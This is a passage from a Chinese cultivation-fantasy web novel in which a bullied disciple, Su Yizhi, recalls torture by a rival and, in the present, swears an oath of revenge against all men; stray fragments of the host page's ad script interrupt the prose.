她终于体会到了修真世界的残忍,也终于明白了为什么第一眼看到小白,就觉得它跟自己很像。因为,都是修真界的最底层啊,注定要被身边那些强过自己的人欺负,却无处诉说。她要去找谁为自己撑腰呢?秦旺吗?去跟他说,林木儿杀死了自己的一只灵宠,三阶的? 苏一枝觉得已经够绝望了,可那仅仅是个开始。 第二天一大早,林木儿又来了,她今天穿了件竹青色缎面裙子,应该附了些灵力,整条衣裙流光闪烁,有竹叶在周身翩飞。 苏一枝心想不愧是宗主女儿,衣服颜色随便穿,不像她,作为初级弟子,只能穿水红色麻布衣,到了中级才能穿桃红,高级海棠红,精英绯红色,代表离火正统的大红色,则要长老们才能穿,至于宗主,他穿紫色。 而给衣服附着灵力做出各种绚丽效果,至少要中级弟子,也就是筑基中期以上才可以。不过根据苏一枝观察,往往只有中高级弟子喜欢搞这些,那些精英弟子们则很少给衣服附灵,尤其长老,低调得很。 “给你带了个好东西。”林木儿扬手,一张冰蓝色符纸在指尖缠绕,“我新炼的寒冰符,来帮我试试效果吧。” 苏一枝还未开口,那符纸已向她疾飞过来,没入眉心,刺骨的寒冷在脑袋里炸开,一路冰裂向下,她整个人如坠冰窟,然后被冻住,再也无法移动分毫。 林木儿围着她转了一圈,伸手在她脸上拍了拍,又在她身上摸索,摸到纸鸟,一脸嫌弃揉碎丢掉:“这么低级速度又慢的飞行法器,也就你这种完全没灵力的人才会用了。” 她明媚的脸上带着来自地狱恶鬼般的笑,附在苏一枝耳边,一字一句:“你听好了,秦炎是我的,你,不配。” 语毕她站直身子,离开半步,皱眉道:“这初级符箓效果真是不行,眼珠子居然还能动。闭上眼睛,不然戳瞎。” 苏一枝听话闭上眼睛,她很怕真的会瞎,然而闭眼之后,很久都没有动静,眼开眼,发现林木儿不知道什么时候已经走了,可符咒却没有解开,她只能继续被冰冻在那里,忍着针扎般的刺骨寒意站着,一动也不能动。 整整两个时辰后,寒冰符的效果才逐渐消失,苏一枝活动了一下麻木的身体,顾不上收拾,赶紧就往课堂跑。 正在讲课的是丹药峰大师兄祝从容,讲一些入门级炼丹知识。新入门的弟子虽然在纳新时已被各峰弟子挑选了一遍,但第一年还是会所有知识都学一学,至少掌握个基础,给自己留条后路。 祝从容看着苏一枝,叹了口气:“都快下课了,听说上午的课你也全都没上,忙什么呢,慌里慌张的。” 苏一枝咬着嘴唇:“我会被罚吗?” “罢了。”祝从容挥挥手,“入座吧。” 议论声四起。 “啧,不愧是未来的少主夫人,这就搞上特权了,要是我们迟到,肯定被罚。” “你拿什么跟人家比,人家是靠肚子进来的。” “靠肚子哈哈,子锐你可真会说。” “没听说吗?咱们宗主秦旺的发妻……” “咳。”祝从容适时提醒,阻止了一场关于宗主及其夫人的八卦传播。 课后是练习时间,祝从容将苏一枝叫了出去:“你怎么回事?” “我,我有不得已的理由。” “你不要觉得自己将来要嫁给秦炎,就有什么不得了的特权了。有些话我不该说,毕竟事关宗主。但还是想提醒你,宗主之所以选中你,是看中你既能修炼又可以生孩子。说到底,修真界实力为尊,你若修 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 为上不去,真的就只是个肚子了。这话对你来说可能重了些,可你这些日子实在不像样,这么久了,新弟子们速度快的都炼气七层了,你呢?” 苏一枝羞愧,她连最最基本的引气都还不会,她实在是搞不懂,那些到底都是怎么一回事。为什么就能将气引导到体内又运行到四肢百骸,她也想学,尤其是现在,比谁都想学,可她实在不懂啊。 祝从容看着她:“你不来上课就罢了,出门难道连整理一下仪容都不会吗?不求你会用净尘诀,可你……” 他摇了摇头,似乎是不知道怎么说。 苏一枝心里一惊,急忙跑到不远处的仪容石边,看到自己的样子,脸腾的一下就红了,她竟不知道自己是这幅模样,发丝凌乱,领口微开,水红色门派服皱巴巴的,上面还沾了不少污渍。她赶紧手忙脚乱整理了一下,回到祝从容身边,犹豫着说:“如果我说,我是被人用寒冰符困住了,符解之后才赶来,匆忙中没注意这些,祝师兄会信吗?” 祝从容看了她很久,重重叹气:“我信,但我信又有什么用呢?苏一枝,这离火宗,实力相当的时候,讲关系,关系相当的时候,看实力。你自己掂量掂量吧。” 苏一枝从祝从容身上感受到了一丝善意,她决定听他的话好好修炼,其实她一直都想好好修炼,奈何总开不了窍,连门都无法入。 只可惜,林木儿却不肯放过她。 自那之后,林木儿每天都会来朝露阁,一呆就是很久。她有时自己来,有时带着林桐桐钟仙一起来,还有秦玉芝。不知是不是因为她们每天都来,秦玉芝不再无聊,便很少再单独来找苏一枝了。 苏一枝几乎无法再去上课,她每天都被堵在朝露阁,林木儿对她用各种符箓,有寒冰符,寒冷刺骨,仿佛冰锥扎透五脏六腑,有烈焰符,让人如置身熊熊烈火中,那烈火烧得她焦黑的皮肉裂开,露出里面森森白骨,有炼狱符,像是无数只手攫住她的神魂,一点一点往外扯……痛到精神恍惚的时候,苏一枝忽然想,还是苏家村好,母亲那些言语,跟这些相比,又算得了什么。如果能回苏家村,让她嫁王胖子她也认了。 终于,在接连半个月没能去上课后,秦炎破天荒来了朝露阁。 少年依旧一身绯红罗衣,人如其名,如炎炎烈火,灼得苏一枝睁不开眼睛。 但刚刚承受了三个时辰烈焰符的苏一枝此时看到那红色是真的有点害怕,身上的痛愈发剧烈,她有些难堪地扫视了一圈凌乱的房间,决定视而不见。身上的痛都顾不得了,哪里还分出余力整这些有的没的呢。 “听说你很久没去上课了,为什么?”秦炎问。 他的声音总是带着股冷意,与那身红衣形成巨大反差。 苏一枝咬了咬牙,决定抓住这难得的机会:“我遇到了麻烦,无法去上课。” “什么麻烦?” “有个叫林木儿的,总是欺负我,用各种符困住我,折磨我,我根本没法离开这房间。她还杀了我的灵宠。” 她以为秦炎会吃惊,谁知秦炎只淡淡问了句:“你收了灵宠?几阶?” 苏一枝心微微沉了沉:“三阶灵狗。” 果然,秦炎嗤了一声:“三阶的狗也算灵宠?” 他走近,居高临下看着在床榻上支起身子的苏一枝:“林家与秦家一向交好,林木儿从小就常来离火宗走动,大家都对她赞不绝口。倒是你,乡野地方初到离火宗,修炼认不认真先不说,起码要学会如何与人正确相处吧?不要让秦家被人看了笑话。” 这是苏一枝第一次听秦炎说这么多话,也是第一次发现,原来那么好看的人,也会说出这样难听又伤人的话。 像长在深山野林里的毒物,越是鲜艳,越是剧毒。 5. 第 5 章 许是回忆太过投入,苏一枝神魂再次受到扰动时,才惊觉自己居然在练习出窍时分了心,被人感知到了元神,却没来得及看清对方是谁。回过神来,只看到一抹青色身影在沼泽里闪了一下,然后消失不见,天大地大,无从捕捉。 是谁?竟可以深入沼泽到如此地步?是之前那个找她的少年吗? 虽然苏一枝可以通过神木之端观察外界,但需得有个目标去观察,没有目标,没有方向,在茫茫天地中去找一道身影,无异于大海捞针。要是能进入分神期就好了,分神期不但可以突破这秘境,还能外放元神,可惜她卡在出窍期很久了。 起初苏一枝不知道是哪里出了问题,这个秘境对她来说简直是修炼圣地,为什么偏偏到出窍期之后就卡住了? 每次问龙蛭,龙蛭总是推说不知,要问主人。 反复追问下,龙蛭才终于承认,其实所谓分神期即可突破秘境,不过是吊在驴子面前的胡罗卜。真想因为任谁进来,都不可能到达分神期,这是它主人灵女当初做出这秘境时就设定好了的。她有未了的心愿,她想借这设定,让闯入秘境之人继承她衣钵,帮她完成心愿。 只有答应了条件,才能出得了秘境。 苏一枝问灵女心愿是什么,龙蛭说,龙女因遭遇背叛而痛恨天下男人,她想杀光所有男人。 “我只怕自己没有那样的能力。”苏一枝说。 她有点被吓到,她确实迫不及待想出去,站在那些人面前,将过去所受一一奉还,也会杀掉不少人。 但是杀光全天下的男人,这也太……过于血腥了。 “我自己再试试吧。”她决定再努力一个月,如果实在没有半点松动迹向,再考虑这血腥的建议,正好也用这一个月的时间来思考,这片大陆究竟还有没有她舍不得杀的男人。 不是所有男人都该死的,比如秦旺。 苏一枝从来都对秦旺心存感激,因为他是第一个欣赏她的人,虽然他将她带入那个漩涡,让她生不如死,但他也曾在苏一枝向他求助时,给予了积极反馈,只可惜,世事难料。 向秦炎求助结果反被嘲讽后,苏一枝很是生气。 第二天,她课也不上了,一大早跑到离心殿,不顾两个穿着桃红色门派服的守殿弟子阻拦,拼了命就往里闯。实在闯不进去,她就放开了嗓子大叫:“秦旺宗主!秦旺宗主!这离火宗我呆不下了,请您送我回去!” 守殿弟子急得跺脚,抬手用了个禁言术,一下子就让苏一枝闭了嘴。 “苏姑娘,”高个的弟子说,“我们也不愿意得罪你,实在是,宗主他老人家根本不在啊。这离心殿没有宗主允许,谁都不能进去。我们让你进了,回头宗主知道,把我们赶下山,谁来帮我们做主?我们天资平平,好不容易考进离火宗,你就饶了我们吧。” 矮点的弟子则道:“不是自己考进来的就不知道进离火宗的机会有多珍贵呗,要我说,真不想呆,直接走就是了。这离火宗不好进,走还不容易?” 苏一枝顿如拨云见日。 当天夜里,她就收拾了包袱准备跑,可她并不知道下山的路在哪里,离火宗那么大,她来了之后从没仔细逛过,也就先前秦玉芝带着她走了灵兽馆和炼器峰两个地方。 秦玉芝……苏一枝一拍脑袋,她可以问秦玉芝啊。 “你真要走?”秦玉芝瞪大了圆圆的眼睛,面露难色,“可是我如果送你出去,爷爷一定会知道,他不让我夜晚出炼器峰。” “没事,告诉我路怎么走就行。” 拿着秦玉芝画的地图,苏一枝一路小跑,足足跑了一夜,快要累到虚脱,终于在东方露出天际白时,远远看到了山门,左右各有两名弟子值守,台阶上还有一个弟子在打扫。她心想真是好奇怪,明明可以用净尘诀,门派弟子却永远要亲自扫落叶,也不知是有什么讲究。 她喘息着靠在旁边的树上,缓缓坐下,可算能休息一会了,喘口气再走吧。却在这里,眼前出现一抹绿色裙摆,抬头,林木儿摆着手,明艳的脸笑得很灿烂:“跑了一夜,累吗?” 苏一枝被带回青木宗,关进了那座名为炼狱的地牢,她终于明白了,什么是真正的暗无天日。 “你还真是,不知好歹啊。”林木儿的手穿过灵气丛棘,摸着苏一枝的脸,她的手冰凉,拇指夹着根黑色的针。 那灵气丛棘以灵气编织而成,只有触碰才会显出形状,荆棘一般,满满全是尖利的刺,形状大小随人变化,只比被关在里面的人宽出三寸,需得极小心才不会碰到,然而不碰到时又看不到它,何况只有三寸空间,稍微动一下身子都不止。 若想不被扎,只能笔直站着一动不动。 除非入定,没有谁能一动不动,只要动,就会被丛棘扎,那丛棘只要碰到人,便穿过皮肉,钻入经脉,在周身经脉里游走,痛到无法呼吸。 “我都要走了,以后都不会防碍你跟秦炎,你为什么还要这样对我?”苏一枝虚弱问。 林木儿抿了抿嘴,像是在思考,片刻后,她将手中黑色长针对准苏一枝眉心:“我只是,不喜欢有人觊觎我的东西,那会让我觉得,我的东西脏了。” “这是枯针,狐妖林里的万年腐木吸收了各种怨气而成,这一针扎下去,你的身体就会一点一点,啪,烂掉,变成一堆腐肉。” “那你扎吧。”苏一枝是真的痛到很想立刻死掉。 “我偏不。你越想死我越不让,我还要拿你试符呢,总好过浪费本门弟子。”林木儿忽然对着门外闪过的人影灿然一笑,“你说是不是呀,赵长老?” 那是个穿着松柏绿锦衣的中年人,看起来四五十岁的样子,他手里提着个不停挣扎的人,一把将那人扔进另一个灵气丛棘后,才对林木儿抱拳道:“林姑娘说得对。” “救命!”苏一枝冲那人叫,幅度太大,痛得她额头又冒出冷汗,但她还是伸长了脖子,咬着牙继续,“求你救救我,我是离火宗的苏一枝,如果我死在这里,秦宗主不会善罢甘休的,求你,救救我。” 那人却看都没看苏一枝一眼,转身离开了。 林木儿噗哧一笑:“你傻啊?” “你怎么会死在这里?”她嘲讽地看了苏一枝一眼,垂眸,把玩着手中枯针,黑色的针在她苍白修长的手指间触目惊心,“不如我们来猜猜,离火宗那边多久才会发现你不见了。等他们终于发现,一问,就会知道原来你受不了修炼的苦,一个人在月黑风高的夜晚偷偷跑下了山。再然后,嗯,如果秦伯父恰好在的话,他这人心善,可能会去你家看看。到这时候,我就把你送回去,说在某个散修手里救了你,他们还得感谢我呢。你当然可以说事情不是这样,是我把你捉了来。可是,谁会信呢?” “苏一枝,你一个山野丫头,没有灵力,没有钱,没有地位,没有靠谱的家人做靠山,你觉得有人会信你不信我吗?” 四个月后,林木儿将伤痕累累昏迷不醒的苏一枝送回了离火宗。如她所料,她收获了一堆感谢,和不计前嫌的好名声。毕竟大家都知道如果不是苏一枝,原本要嫁给秦炎的是林木儿,可即便如此,林木儿还是冒着危险,救回了这个情敌,甚至为此负了伤。 醒过来的苏一枝万念俱灰躺了几天,听来照看她的弟子站在门口闲聊说起北方狐妖林又有妖兽作乱,青木宗宗主正在离心殿与秦旺商议除妖之事,她爬起来,推开门口弟子就往离心殿走。 她想知道,是不是真的,没有一个人会信她。 离心殿戒备比上次来要森严不少,里里外外值守的弟子有二十多个,先前那一高一矮两个弟子看到她,叹了口气:“你怎么还不死心?” “你们说自己下山很容易,我下山了,可结果呢?还不是又回到了这里?”苏一枝神色木然,“我今天要么见到宗主,要么死。” 两人对视一眼,让开了路,后面的人一见,不明所以,也纷纷让路,苏一枝就这么一路接近了离心殿的正殿,殿里的谈话声越来越清晰 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 “狐妖林那群妖孽,怎么这么快就又成了气候,我们名门正派修炼如此艰难,那些妖兽邪修们倒好,修炼起来,一个赛一个快。” “许是从黑水门那里学了些邪术吧,三百年来,狐妖林最大一次祸乱,是56年前,秦老宗主亲自率人,足足三年才平息,老宗主也……秦兄你也是那次接任的宗主之位,一晃到现在,都50年了。” “林老弟不必伤感,这是我们做为宗门传人必须背负的命运。” “如何能不伤感,狐妖林上次作乱时,我45岁,木儿刚刚出生,我本不想随家父平乱,但又不得不去。许是心中记挂着妻儿,出了乱子,害家父殒落,林渊负伤。,即使犯下了这样的大错,家父也还是把宗主之位传给了我。我心中有愧,这些年来兢兢业业,不敢有半分松懈。谁知,这才不足十八年,狐妖林怎么就又有祸乱迹象了呢?” “不必担心,现在只是有迹象,提前知道消息也是好事,我们也好做足准备。” “秦兄还是没明白我的意思,我想说的是,这次该轮到钟家了吧?这么多年了,嫂子的事也不是你的错,钟家不能因为这个一直逃避责任吧?” “这个事再说,再说。一枝,你怎么来了?” 视线齐刷刷扫过来,秦炎一个箭步冲出门外,皱眉:“你来这里做什么?” 他抬手朝那些守殿弟子怒喝:“你们是死的吗?” “让她进来。”秦旺招了招手,“一枝,过来。” 苏一枝一直崩着的神色有点松动,忽然就很想流泪,但她忍住了。她走进大殿,笔直站在殿中,顶着周围几道目光的压力,抬头看向秦旺:“宗主,我不想修炼了,也不想嫁给你儿子,你送我回苏家村吧。” 秦旺默了一瞬,问:“在离火宗呆得不开心吗?” “岂止是不开心。”苏一枝说,“如果可以,我希望自己从来没有来过离火宗。” 满殿寂静,半晌,秦炎声音在身后响起:“你胡说些什么?见到父亲,也不下跪,这点礼数都没有吗?” “无妨,这都是小事。”秦旺摆手,问苏一枝,“是秦炎那小子没照顾好你?” 苏一枝笑了一下,一直憋着的眼泪终于掉落下来:“照顾?呵。宗主,您是真不知道,还是装不知道呢?您儿子他,根本就瞧不上我啊,又怎么会照顾我。但这些都不重要,我要说的是,前些日子,我没有被散修所掳,也不是被林木儿所救。” 她环视殿内,看到青木宗的宗主身着墨绿色宗主服,他旁边有两个松柏绿衣衫的,她便伸手指着其中一个:“我是被林木儿囚禁在了青木宗的地牢,困于那灵气丛棘之中,求生不得,求死不能。他可以做证,他姓赵,对吧?” 赵长老弹跳起来:“你休要血口喷人!我什么时候见过你?” 苏一枝点头,笑着抹了一把脸上的泪:“果然。所以秦宗主,你也不信,是吧?” 秦旺没有说话,秦炎走到苏一枝面前:“你上次告状时我就说过,林木儿与你无怨无仇,为何要针对你?她自小便常来离火宗做客,人人夸她热情大方,从没有谁说过她半句不好,怎么你一来就闹出这种事端?” 现场唯一一位墨绿色衣服的男人轻咳了一声:“我倒不知小女还有另一面,回头问问她,若真是她做的,我必然好好管教。倒是秦兄你,当真不准备放下执念吗?修真界的姻缘,也讲究个门当户对,生子之事都好说,但相伴终身的道侣,还是要选个天赋相当的。否则,这寿元也不对等啊。” 秦旺叹息:“惭愧啊,若不是秦某这执念,你我本该是亲家,可这执念,我实在是很难放下。” “罢了罢了,”林潭摆手,“儿女之事,由他们去吧。” 秦旺看向苏一枝,面露愧色:“一枝啊,我这还有点事,你先退下,我回头再找你,放心,定将你安排妥当。” 如果苏一枝知道他的妥当安排是什么,也许会当场拒绝,可惜,她不知道。 6. 第 6 章 秦旺人很好,但或许是长久以来的身居高位,让他习惯了自以为是。他所谓的妥当安排,是给两人正式结了婚约,然后让秦炎带着苏一枝,下山历练半年,让苏一枝散散心,暂时远离宗门内这些纷纷扰扰,同时,也好好培养一下感情。 苏一枝并不是很明白他为什么就非得让自己做儿媳,尤其是在看到林木儿之后。林木儿比自己合适多了,家世好,长相好,天赋也好,虽然心很坏,但配秦炎却刚刚好,不是吗? 但她到底是年纪小,虽然一心想逃离,但被秦旺那么一说,又觉得有道理。 从离家到现在,半年了,其实她并没有跟秦炎真正相处过,没试过,又怎么知道不可能呢? 临行前秦旺给了苏一枝一个血玉葫芦,一只手便能握住,说是遇到危险,默念红元救我,就可以躲进去,葫芦会自动反击,若打不过,便会带着她逃走。 一个储物袋,里面有大量治疗保命类的丹药,还有各种各样的符箓,隐身的,治疗的,攻击的,加速的,比林木儿那些符品阶不知道要高上多少。至于飞行法器,听说苏一枝的纸鸟被毁,便又给了一只:“你现在连引气都不会,不能驾驭好些的法宝,还是将就用这个吧。不过也用不着,跟秦炎一起,用他的就行了。” 他还逼着秦炎为苏一枝点了魂灯,虽然千叮咛万嘱咐让两人不要分开,但是万一呢。点了魂灯,苏一枝遇到危险,随着危险程度的不同,魂灯会变暗,会明灭不定,直至彻底熄灭。真要熄灭了,意味着人也就死了,魂灯会记录死时景象,以便报仇。 现在回想起来,苏一枝实在是不太确定,自己那个时候究竟有没有满怀期待,下山后被丢下的时候,又到底是失望多些,还是难过多些,又或者是觉得,呵,果然如此? 痛依然清晰,恨依然入骨,但唯有那半年历练时的具体情绪,她却记不太清了,或许是因为,虽然有失望有难过,但也有开心和快乐,太多矛盾的情绪交织在一起,让她有些混乱了。 她记得自己被丢下后,茫然无措了一阵子,便开始四处闲逛,储物袋里除了红元丹药符箓之类,还有不少灵石,她可以过得很潇洒,如果没有在青山城被那几个散修盯上的话。 借着疾行符隐身符慌不择路奔逃了一日一夜,回过神来,已经身处密林,苏一枝进葫芦里躲了半夜,确认那几个散修没有在附近,才准备找路回城,然后,去找秦炎。 她不知道自己一头钻进的这片密林,就是让人闻风丧胆同时也让很多修真人士向往的狐妖林。 狐妖林南临青山,北接荒山,而荒山,则是如今四大宗门中唯一的邪修宗派黑水门地界,所以作为交界处的狐妖林,是出了名的三不管地带,时不时就会有妖兽横空出世为祸一方,平日里经常会有修真人士来这里猎取兽丹。 这里的妖兽品阶都很高,可是好像脾气都不怎么好,向几只妖兽问路都没有得到回答,苏一枝放弃了交流的想法。 被几个散修追杀之后,苏一枝深刻认识到以自己的能力,怀揣诸多丹药灵符,运气好才能过得潇洒,运气不好就变成行走的肥羊。 她必须跟秦炎在一起,才能保证自己的安全。 秦炎是不知道这些吗? 他明知道,却还是丢下了她,任她自生自灭,就好像不论她是死于妖兽之口,还是被散修们瓜分,他都无所谓。或许对于他来说,她死了更好,可以名正言顺不用娶她。 只可惜,让他失望了,历练有期,半年后,苏一枝还是回到了离火宗。 或许历练确实有用,半年时间,苏一枝从不会引气,到炼气一层。虽然跟别人比起来,这点进步实在不算什么,因为此时,秦炎已然结了金丹,而林木儿,也已经筑基后期了。她的符箓威力比以往更大,她对付苏一枝的手段,也更加明目张胆变本加厉。 其实苏一枝可以趁历练的时候回家,如果没有和秦炎正式缔结婚约的话。修真界的婚约并不是那么好违背,若放着它不管,日后跟别人结了婚,是要爆体而亡的,不光是她,秦炎也一样。 历练的那段时间,她见到了各种各样的人,富贵的,贫穷的,安逸的,凄惨的。 跟那些出生时就缺吃少穿身有残疾完全没有反抗能力的人相比,她手全脚全,甚至还能兽语,怎么看都不是最惨的那一个,也不是真的毫无选择。她可以回家,一辈子不结婚,就算被哪个乡间恶霸看上了,大不了成亲那天就死,反正恶霸活不成,不亏。 不知是不是见识滋养了神魂,体内灵脉终于有所松动,某一天,苏一枝突然就学会了引气,就这么进入了炼气一层。 她最终,决定放弃与那尚未出现的恶霸同归于尽的想法,选择了回离火宗。 当然,回来还有一个原因,那就是,苏一枝觉得就算自己真逃回了苏家村,恐怕传说中的恶霸还没出现,林木儿就已经先追到了。不如还是回来,修为能提升一点是一点。 回离火宗的第二天,是苏一枝17岁生日,迎接她的,是林木儿的巴掌。 “贱人!”她恶狠狠呸了一口,“就知道你表面清纯,骨子里却是个狐媚子,用了什么法子迷惑的秦伯伯,不如让我们也学学啊?” “就是,我也想学学呢,唉,以我的身份,想找个好夫婿怕是很难,要是学会了这本领,没准也能挑个青年才俊。”不开口就没有存在感的林桐桐笑着凑上前。 “无聊。”眉毛眼角都斜挑入鬓,尖眉尖眼尖鼻头的钟仙撇了撇嘴,“嫁人有那么重要吗?” “你青年才俊随便挑,当然觉得嫁人不重要。我就觉得嫁人重要,可我爹没本事,好的轮不到我挑,不然我也不至于20了还没嫁。” “我都23了呢,也没想过。才不要嫁人,嫁人有什么好?我那姑姑,天资非凡,52岁就分神了,结果偏偏想不开,怀了孩子,53岁生娃,自那后,修为再没进步过。可她非但不吸取教训,还要再生第二个,结果怎么样?你们是没有亲眼见过女人难产时浑身是血的样子,我见过,所以我4岁就决定不结婚不生孩子了。” “但是听说钟灵夫人从没后悔过自己生孩子,再说,要是钟灵夫人不生,岂不就没有秦旭也没有秦炎了,那你让木儿怎么办呢。”一直没出声的秦玉芝忽然开口。 苏一枝看着秦玉芝,那是她到离火宗的第一个也是唯一一个朋友,可如今,她跟林木儿站在一起,仿佛从来没跟自己交好过。 她其实很想问秦玉芝,上次是不是你透露了我要下山的消息? 可是,问了又有什么用呢,自讨没趣罢了。 人在被背叛的时候总喜欢追问,你到底为什么要这样对我。 还能为什么?难道是因为更喜欢你更爱你所以才背叛了你? 秦玉芝对上苏一枝目光,躲开了,人也躲到了林桐桐身后,娇小的身子,圆圆的脸,扑闪闪的大眼睛,看起来小兔子一般,楚楚可怜。 啪的一声,脸上又传来火辣辣的痛,林木儿略带嫌弃地看了看自己的手,转头对林桐桐道:“拿你的青木索来,我要看这骚狐狸是不是怀了孩子。” “不会吧?”秦玉芝瞪大了眼睛,躲到钟仙背后,只露出一个脑袋。 林桐桐从背后抽出根绿色枝条,那枝条无比柔软,蛇一般攀上苏一枝身体,将她手脚都束缚住,动弹不得。 “倒是有可能,”钟仙狭长的眼睛眯着,精光四射,“山野丫头,可不像我们这般洁身自好,为了攀权附贵,什么下作事都做得出来。孤男寡女相处半年,秦炎就算再怎么心如止水,到底年少,很难抵挡得住刻意勾引。” “天呐!”秦玉芝捂住眼睛,“一枝,你这样做,不怕被送去思过崖吗?” “我怎样做?”苏一枝盯着她,“秦玉芝,你我也是相处过几日的,你觉得我能做什么?” 秦玉芝红了红脸,缩到钟仙背后不说话 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了。 苏一枝被捆得难受,无奈越是动弹,青木索就捆得越紧,她不得不放弃了挣扎,仰躺在地上,闭上眼睛,虽然明知对方根本不会听,却还是开口解释:“随便你们信不信,我与秦炎下山后就分开了,半年时间,连面都没见过一次。” “你们知道上次这贱人大闹离心殿后,我父亲回去怎么说的吗?”林木儿冷笑,左边嘴角往上扯,“他居然说我,连这么个小门小户的乡野丫头都搞不定。哈,我看他是一点都不了解女人,越是小门小户,就越是不知廉耻呢。” 林桐桐干笑一声:“我怎么觉得你连我也骂进去了。” “你觉得是那就是吧。”林木儿抬脚踩上苏一枝小腹,脚下逐渐用力,“你们说,如果肚子里有孩子,这样踩能不能踩出来?” “你有没有见过女人生孩子呀?”钟仙白她一眼。 “难道你见过?” “当然,我说过,姑姑生秦炎时我就在旁边。” 林木儿沉思片刻,弯下腰:“我觉得还是这样更直观。” 她一伸手,扯住苏一枝衣衫,用力,水红色麻布门派服破碎,脱落。 “呀!”秦玉芝叫了一声,再次捂住眼睛。 “哇。”林桐桐轻叹,“她这身材样貌,倒是比修炼之人还要姣好。” “所以说秦炎才会经不住她勾搭。”钟仙冷冷说。 苏一枝17年的人生里,从来没有这样羞耻过。她想缩起身子,却因为那青木索而无法做到,只能躺在那里,任她们凌辱。 林木儿拿出一把碧色尖刀,对准苏一枝肚子,划了下去。 苏一枝想尖叫,却叫不出声,那刀在她腹内搅动,疼痛让她无法呼吸,半昏迷间,她听到林木儿说:“咦,是不是真的没有?” 然后她就昏了过去。 那个时候苏一枝以为,这就是极刑了,比灵气丛棘更让人无法忍受,可她不知道的是,在以后,这样的极刑还会发生很多次,并且,会在很多人面前。 呼吸忽然不畅,腹内剧痛难忍,行气遇到阻滞,神魂也受到扰动,苏一枝回过神来,她又在出窍时分心了。 将体内乱窜的灵气平复,待额上细密的汗完全消失,苏一枝紧了紧领口,她这身流霞仙衣,外人是决计解不开也破坏不了的,可她还是好一会才缓解那份心悸,她深吸了一口气,叫道:“龙蛭!” 一个月的时间过得飞快,尽管倾尽全力,甚至有几日都顾不上看林木儿在做什么,苏一枝依旧没能迎来分神期的雷劫云。 龙蛭让她放弃挣扎,说当初设下这秘境,就注定了只要到出窍期,便会形成一种能量的平衡,哪怕努力到天荒地老,到她千年寿元耗尽,也无法突破。但若是答应了灵女的条件,继承了她的衣钵,出去后反而可以继续提升。 “外界灵气如此稀薄,更是缺少土灵之气,如何提升?即使灵女在世也要驻足不前吧?” 虽然三大宗门金丹期满地走,秦炎刚刚三十就已元婴后期,但那是别人,她苏一枝又不是没有尝试在外界修炼过,从16岁到19岁,她也是很想努力通过提升修为来摆脱困境的,可毫无进展。如今她29,死过一回后,在离火宗三年没能提升到筑基期的修为,因寂灭秘境里充裕的土灵之气而突飞猛进,直到停止在出窍期。 出去后,真的还能提升吗? 倘若不能,她的复仇之路必然要困难许多,可若是不出去,再这样无法突破还总在修炼时分心,她担心自己早晚会生出心魔。 不就是,杀光天下所有男人吗?杀就杀,只要她有那个能力。 这个世上,唯一认同她欣赏的男人,已经不在了,而她在那之后就背上了一个“克”的骂名。她们说她克父,克夫,甚至克所有男人,既然如此,那就当她确实克他们所有吧。 苏一枝看着面前的九头九尾诡异大狐狸,目光坚定:“我答应灵女的条件。” 7. 第 7 章 在那尊看了十年的灵女像前,龙蛭解答了苏一枝所有疑问。 “以我的能力,如何才能杀光整个灵岳大陆所有男人?” “你只要答应,灵女自会将她最后力量给你,助你继续提升修为。” “若我违背誓言呢?” “修为尽毁,爆体而亡。” “如果我偷懒不修炼呢?” “两年为期,到时不履行,当你违誓。” 原来还有期限。 冷焰刀划在皮肤上,鲜血淅淅沥沥滴落在地,苏一枝闭上眼睛,以血起誓。 天地震荡,秘境坍塌,一股奇异的力量从眉心涌入,灵力激荡下,苏一枝几乎站立不稳。 等她终于将那力量完全吸收,睁开眼,龙蛭,灵女像,还有那仿着传说中灵岳大陆最大修真门派坤土派所建的丹药房,炼器室,明镜台,青草甸,落雨湖,剑苍山,以及那棵神木,都已消失不见。眼前只见茫茫无际的荒芜沼泽,苏一枝站在沼泽中,感受到四周隐藏的一些蠢蠢欲动。 据说这沼泽在万年前曾经是坤土派所在地,灵女飞升失败吸取天地灵气后,坤土派周围损失最大,几乎所有灵气全无,草木尽枯,鸟兽死绝,时间长了,慢慢就形成了一个巨大沼泽。 这沼泽绵延万里,占据了曾经土灵最浓郁的大陆中央,现存的四大门派分别位于它的东西南北四方,即使再怎么抢地盘,也无人敢深入沼泽,听说修真者进入沼泽的极限是500里处,再往里,任你是合体期还是洞虚期大佬,必死无疑。 那些曾经生活在这片土地中央的人们,死的死,残的残,就连当年的凡人皇族,都死了个一干二净,人间一片混乱,百姓流离失所。 因周围灵气尚足的土地都被修真门派占据着,凡人们只能生活在灵气全无又危机四伏的沼泽边缘处,依附着各大宗门,人间再无帝王,仙门自成王国。 正因为如此,现今的凡人生活非常艰难,寿命也都很短,他们把希望寄托在后代身上,生育,永远是头等大事,女人,生到死为止,像苏一枝母亲那样连生八个却依然活着的,已经是其中比较幸运的了。 苏一枝当然不敢在充满未知危险的沼泽里久呆,她立刻召出飞行法宝桃夭,往沼泽东北的青山方向疾飞。 桃夭是她在寂灭秘境所得,形状是朵粉朴朴红艳艳的桃花,煞是好看。 秘境里灵女所留法宝神器一共有六:水月镜,冷焰刀,玄天鼎,桃夭,混元铃,千里江山图。 其中千里江山图是玄宝级别,威力巨大,用途未知,混元铃是后天灵宝,玄天鼎是先天灵宝,剩下三种都是法宝级别。 她在秘境里观察四周的时候就已经想好,出了秘境,要在青山开辟一个洞府做为暂时容身之所。 青山实在是个有意思的地方,往北就是狐妖林,往南,山脚下是青山小镇,小镇三十里外,是青山城,她曾经在那里被几个散修追得慌不择路一头扎进过狐妖林。青山城再往南,就是青木宗了。 而在青山的西北角,狐妖林和沼泽中间,有个曾经很大如今却荒废了的村子,村子再往西北,穿过沼泽边缘的大片森林,隐藏着一个小小的村落,那里,曾经有过苏一枝短暂的温暖和快乐。 此时正是夜半,起起伏伏的山峦间,夜枭低鸣,各种灵兽潜伏在暗处,默默观察着苏一枝。苏一枝暂时没有理会它们,她用半个时辰开辟出洞府,住进去后,才开始感受自己识海里那忽然多出来的东西,那是缩小的了寂灭秘境。 